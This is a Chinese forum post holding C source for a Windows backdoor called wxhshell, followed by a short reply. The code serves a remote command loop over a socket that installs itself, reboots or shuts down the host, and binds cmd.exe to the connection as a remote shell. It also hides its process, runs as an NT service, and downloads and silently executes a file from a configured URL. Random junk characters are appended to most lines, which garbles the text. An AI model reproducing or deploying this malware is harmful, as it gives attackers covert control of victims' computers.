  if(strstr(cmd,"http://")) { y~\oTJb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nal9M[]c  
  if(DownloadFile(cmd,wsh)) jB(|";G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4H/fP]u  
  else =y!$/(H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g pOC`=  
  }  \*<d{gZ~  
  else { P ! _rEV  
r! MWbFw|X  
    switch(cmd[0]) { kbe-1 <72  
  Bf8jPa/  
  // 帮助 ^RI?ybDd  
  case '?': { c.e2M/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 55fC~J<  
    break; HKUn`ng  
  } )'+8}T]xQ  
  // 安装 (R("H/6xs  
  case 'i': { #%h-[/  
    if(Install()) H|HYo\@F#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e\:+uVzz  
    else Zo~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +O?KNZ  
    break; D1=((`v '  
    } c$yk s  
  // 卸载 I<6P;  
  case 'r': { bl&nhI)w  
    if(Uninstall()) ", KCCis  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m3/O.DY%0  
    else %#xaA'? [  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |}di&y@-JI  
    break; #ZrHsf P  
    } 4J/}]Dr5  
  // 显示 wxhshell 所在路径  abfW[J  
  case 'p': { fO[+LR 'ax  
    char svExeFile[MAX_PATH]; f@|A[>"V  
    strcpy(svExeFile,"\n\r"); S(*sw 0O@+  
      strcat(svExeFile,ExeFile); DrY:9[LP  
        send(wsh,svExeFile,strlen(svExeFile),0); FwkuC09tI  
    break; I7n"&{s"*  
    } A#J`;5!Sc  
  // 重启 %|q>pin2  
  case 'b': { 3@$,s~+ 3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .ufTQ?Fe  
    if(Boot(REBOOT)) -7@/[9Gf`:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"J? #  
    else { tne ST.  
    closesocket(wsh); 1;Cyz)  
    ExitThread(0); eoG$.M"  
    } zkuU5O  
    break; jN;@=COi  
    } f=r<nb'H  
  // 关机 yy i#Mo ,  
  case 'd': { jZ~n[ f+Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J$GUB3 G  
    if(Boot(SHUTDOWN)) W_\5nF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !h23cj+V  
    else { J\:R|KaP<p  
    closesocket(wsh); ( u\._Gwsx  
    ExitThread(0); O7-mT8o  
    } $j5K8Ad  
    break; t\k$};qJ  
    } /_AnP  
  // 获取shell z"-u95H  
  case 's': { "$+Jnc!!  
    CmdShell(wsh); {GK;63`1  
    closesocket(wsh);  ' V^6XI  
    ExitThread(0); -pf}  
    break; QkEvw<  
  } Ai=s e2  
  // 退出 G'Q-An%z  
  case 'x': { B}Z63|/N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /Y W>*?"N  
    CloseIt(wsh); 7~^GA.92  
    break; "7'J &^|  
    } {5U{8b]k  
  // 离开 BP'36?=Zo  
  case 'q': { =9'RM>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `#F{Waww'  
    closesocket(wsh); [R(`W#W  
    WSACleanup(); TJ_$vI  
    exit(1); fi-WZ  
    break; @=bLDTx;c)  
        } jSh5!6O  
  } !;&p"E|b#  
  } T! Y@`Ox  
:q$.,EZ4#n  
  // 提示信息 AK,J7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  8n#HFJ~  
} f2Klt6"9  
  } B:b5UD  
~P*6ozSYpY  
  return; Y>|B;Kj0(  
} ;(f) &Yom  
*g:4e3Iy  
// shell模块句柄 I WTwz!+  
int CmdShell(SOCKET sock) J`peX0Stl  
{ `YFtL  
STARTUPINFO si; D"Bl:W'?j  
ZeroMemory(&si,sizeof(si)); N=4G=0 `ke  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w j*,U~syB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $:=A'd2  
PROCESS_INFORMATION ProcessInfo; ,~aQL  
char cmdline[]="cmd"; 54gBJEhg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *;l]8.  
  return 0; e}D3d=6`  
}  ,V,`Jf  
<6EeD5{*  
// 自身启动模式 ?x$"+,  
int StartFromService(void) j-4VB_N@  
{ oiF}?:7Q7  
typedef struct R?GDJ3  
{ Nh8Q b/::  
  DWORD ExitStatus; $h2){*5E{  
  DWORD PebBaseAddress; (n*^4@"2  
  DWORD AffinityMask; $yn];0$J  
  DWORD BasePriority; X^T:8npxt  
  ULONG UniqueProcessId; KK1 gNC4R  
  ULONG InheritedFromUniqueProcessId; KX76UW   
}   PROCESS_BASIC_INFORMATION; @KWb+?_H{<  
Q}1 R5@7  
PROCNTQSIP NtQueryInformationProcess; 00G%gQXk,  
b=g8eMm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Keuf9u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~T ]m>A!  
O ,J>/  
  HANDLE             hProcess; ~8~aJ^[  
  PROCESS_BASIC_INFORMATION pbi; vX{J' H]u  
M2HomO/X)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u5O+1sZ"6  
  if(NULL == hInst ) return 0; cWEE%  
9)y/:sO<P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '= _/1F*q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8}c$XmCM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R%Qf7Q  
*'OxAfa#x  
  if (!NtQueryInformationProcess) return 0; e&simX;W  
}E+!91't.^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C+?Hm1  
  if(!hProcess) return 0; +awW3^1Ed  
g'p K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IM:=@a{  
yW+yg{Gg:  
  CloseHandle(hProcess); wmk *h-  
<:(6EKJAq}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b_,|>U  
if(hProcess==NULL) return 0; _.>QEh5"5  
)!Jc3%(B  
HMODULE hMod; _,zA ^*b  
char procName[255]; K)-U1JE7  
unsigned long cbNeeded; BS /G("oZ[  
t2EHrji~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I'\kFjc  
@xQgY*f#  
  CloseHandle(hProcess); $iI]MV%=  
ie;]/v a  
if(strstr(procName,"services")) return 1; // 以服务启动 WzAb|&?  
?;KKw*  
  return 0; // 注册表启动 'HT7_$?*  
} E>&n.%  
i#7DR>XF/  
// 主模块 ,O.3&Nz,c  
int StartWxhshell(LPSTR lpCmdLine) /nyUG^5#{  
{ UV5Ie!\nm  
  SOCKET wsl; hD\rtW  
BOOL val=TRUE; O>SLOWgha  
  int port=0; aF)1Nm[  
  struct sockaddr_in door; ,pqGX3  
Kpb#K[(]&  
  if(wscfg.ws_autoins) Install(); anIAM  
7Ok;Lt!x  
port=atoi(lpCmdLine); qi;f^9M%  
|\QgX%  
if(port<=0) port=wscfg.ws_port; 8S>&WR%jH]  
Fp@TCPe#  
  WSADATA data; Z&0'a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D-8O+.@  
g$HwxA9Gp/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /3A^I{e74  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MG[o%I96  
  door.sin_family = AF_INET; #~SP)Ukp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }Mo=PWI1?  
  door.sin_port = htons(port); F29v a  
I j$lDJS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IBQ@{QB  
closesocket(wsl); sf]s",t~J  
return 1; )r[&RGz6  
} c-g)eV|)S  
+<}0|Xl&  
  if(listen(wsl,2) == INVALID_SOCKET) { _:X|.W  
closesocket(wsl); vTaJqEE  
return 1; !^v5-xO?rP  
} *1 G>YH  
  Wxhshell(wsl); "dROb}szn  
  WSACleanup(); @^;j)%F}  
etoo #h"]1  
return 0; Qc[3Fq,f  
kKPi:G52F  
} H*bs31i{  
01T`Flz  
// 以NT服务方式启动 UjOB98Du  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M[z)6 .  
{ #U*_1P0h  
DWORD   status = 0; zNY)'  
  DWORD   specificError = 0xfffffff; <\0vR20/  
Qfky_5R\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }U SC1J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .<z!3O&L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $ ''9K  
  serviceStatus.dwWin32ExitCode     = 0; /'Pd`Nxl.  
  serviceStatus.dwServiceSpecificExitCode = 0; i 9g>9  
  serviceStatus.dwCheckPoint       = 0; @]q BF]6  
  serviceStatus.dwWaitHint       = 0; ]r3Kg12Mi  
ur vduE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [w\9as/ E  
  if (hServiceStatusHandle==0) return; it> r+%  
MWNPPYww  
status = GetLastError(); oQv3GpO  
  if (status!=NO_ERROR) Dw7vv]+ S  
{ p~.8\bI=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v4RlLg dS%  
    serviceStatus.dwCheckPoint       = 0; {QbvR*gv  
    serviceStatus.dwWaitHint       = 0; peJKNX.!q  
    serviceStatus.dwWin32ExitCode     = status; rCS#{x  
    serviceStatus.dwServiceSpecificExitCode = specificError; >HPdzLY?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j F-v% ?  
    return; BS&;n  
  } ^'p|!`:  
( Y+N@d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m=Q[\.Ra  
  serviceStatus.dwCheckPoint       = 0; cEe? *\G  
  serviceStatus.dwWaitHint       = 0; _/S?#   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v+e|o:o#  
} *WE1;msr  
;. wX@  
// 处理NT服务事件,比如:启动、停止 'xv8Gwf"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +,v-=~5  
{ M0| 'f'  
switch(fdwControl) 9s}Kl($  
{ ;pD)m/$h`  
case SERVICE_CONTROL_STOP: Y~)T  
  serviceStatus.dwWin32ExitCode = 0; aZKOY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z?J:$of*  
  serviceStatus.dwCheckPoint   = 0; CC;! <km  
  serviceStatus.dwWaitHint     = 0; hI pKJ&hm  
  { Omi^>c4G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VD4C::J  
  } g\GdkiIj  
  return; vG^#Sfgtw  
case SERVICE_CONTROL_PAUSE: XJ!(F#zc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1Uf*^WW4  
  break; x90jw$\%7  
case SERVICE_CONTROL_CONTINUE: \n9A^v`F/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;nmM7TZ;  
  break; $jd<v1"o  
case SERVICE_CONTROL_INTERROGATE: Q,Z*8FH=  
  break; )'Wb&A'  
}; NZu)j["  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~#}Dx :HH  
} a;$P:C{gj?  
}.)s%4p8  
// 标准应用程序主函数 1\dn 1Hh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4R>zPEo  
{ NHw x:-RH  
rVQX7l#YI  
// 获取操作系统版本 i.iio-  
OsIsNt=GetOsVer(); IfDx@?OB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lH|LdlX  
TO;.eN!sv  
  // 从命令行安装 $R8w+ Id  
  if(strpbrk(lpCmdLine,"iI")) Install(); lEPAP|~uw  
 17hTr  
  // 下载执行文件 ovf/;Q/}  
if(wscfg.ws_downexe) { Aox3s?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Wl(9$  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'ul\Q `N3  
} tPHS98y  
(}!C4S3#  
if(!OsIsNt) { Snf"z8sw  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jx-wO/  
HideProc(); AyE\fY5  
StartWxhshell(lpCmdLine); Mo|wME#M  
} vxN0,l  
else lm'Zy"~::  
  if(StartFromService()) h`MdKX$  
  // 以服务方式启动  eIPG#A  
  StartServiceCtrlDispatcher(DispatchTable); Aj"7q  
else E@QA".  
  // 普通方式启动 v.Ogf 5  
  StartWxhshell(lpCmdLine); m8R=?U~!S  
H5wb_yBQ+  
return 0; j!#O G  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五